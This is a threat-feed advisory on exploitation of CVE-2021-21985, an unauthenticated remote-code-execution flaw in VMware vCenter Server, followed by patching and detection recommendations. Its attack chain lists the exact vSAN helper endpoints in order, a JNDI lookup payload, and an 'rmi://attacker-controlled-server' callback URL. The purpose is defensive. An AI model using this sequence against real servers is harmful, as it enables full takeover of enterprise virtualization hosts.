VCenter Server (6.5, 6.7, 7.0) - CraftedSignal Threat Feedhttps://feed.craftedsignal.io/products/vcenter-server-6.5-6.7-7.0/Trending threats, MITRE ATT&CK coverage, and detection metadata. Fed continuously.Hugoenhello@craftedsignal.iohello@craftedsignal.ioWed, 07 Oct 2026 01:30:33 +0000https://feed.craftedsignal.io/favicon-32x32.pngCraftedSignal Threat Feedhttps://feed.craftedsignal.io/3232https://feed.craftedsignal.io/favicon.svgExploitation of CVE-2021-21985 in VMware vCenter Serverhttps://feed.craftedsignal.io/briefs/2026-10-cve-2021-21985-vcenter-rce/Wed, 07 Oct 2026 01:30:33 +0000hello@craftedsignal.iohttps://feed.craftedsignal.io/briefs/2026-10-cve-2021-21985-vcenter-rce/Public proof-of-concept exploits for CVE-2021-21985 have been released, enabling unauthenticated remote code execution in VMware vCenter Server via the Virtual SAN Health Check plug-in.CVE-2021-21985 is a critical remote code execution (RCE) vulnerability affecting the vSphere Client (HTML5) in VMware vCenter Server versions 6.5, 6.7, and 7.0. The vulnerability is caused by an input validation flaw within the Virtual SAN Health Check plug-in, which is enabled by default. As of October 2026, multiple proof-of-concept (PoC) exploits have been published on security platforms, significantly lowering the barrier for exploitation. An unauthenticated attacker can send specially crafted HTTP POST requests to the vCenter server to trigger arbitrary code execution via JNDI lookup or other VMODL helper operations. This vulnerability is highly dangerous due to its remote, unauthenticated nature and CVSS score of 10.0, allowing complete system compromise.

Attack Chain

  1. The attacker performs initial reconnaissance to identify internet-facing vCenter instances.
  2. The attacker sends an HTTP POST request to '/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject' to set the target object to null.
  3. The attacker sends a request to '/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod' with 'javax.naming.InitialContext.doLookup' as the payload.
  4. The attacker configures the target method by sending a POST request to '/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod' with 'doLookup'.
  5. The attacker specifies the JNDI payload, such as 'rmi://attacker-controlled-server:9090/resource', via a POST request to '/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'.
  6. The attacker initializes the helper class by sending a POST request to the 'prepare' endpoint.
  7. The attacker triggers the final payload execution by sending a POST request to the 'invoke' endpoint.
  8. The vCenter server initiates an outbound connection to the attacker's infrastructure, resulting in code execution or data exfiltration.

Impact

Successful exploitation allows an unauthenticated remote attacker to gain full control over the vCenter Server. This impact includes complete loss of confidentiality, integrity, and availability for the vCenter instance and all virtual machines managed by it. Given the prevalence of vCenter in enterprise environments, successful exploitation could facilitate widespread ransomware distribution or persistent lateral movement within an organization's internal network.

Recommendation

Prioritized, concrete actions for detection engineering teams:

  • Patch all instances of VMware vCenter Server to the latest version as recommended in VMSA-2021-0010.
  • Deploy the Sigma rule below to monitor for unauthorized usage of the 'vsanProviderUtils_setVmodlHelper' service.
  • Monitor firewall and proxy logs for unusual outbound connections originating from vCenter Servers, specifically RMI or LDAP traffic (TCP/9090 or others).
  • Enable detailed logging for the vSphere Client ('/var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log') and audit for the specific endpoints described in the attack chain.
]]>highadvisoryvulnerabilityrcevmware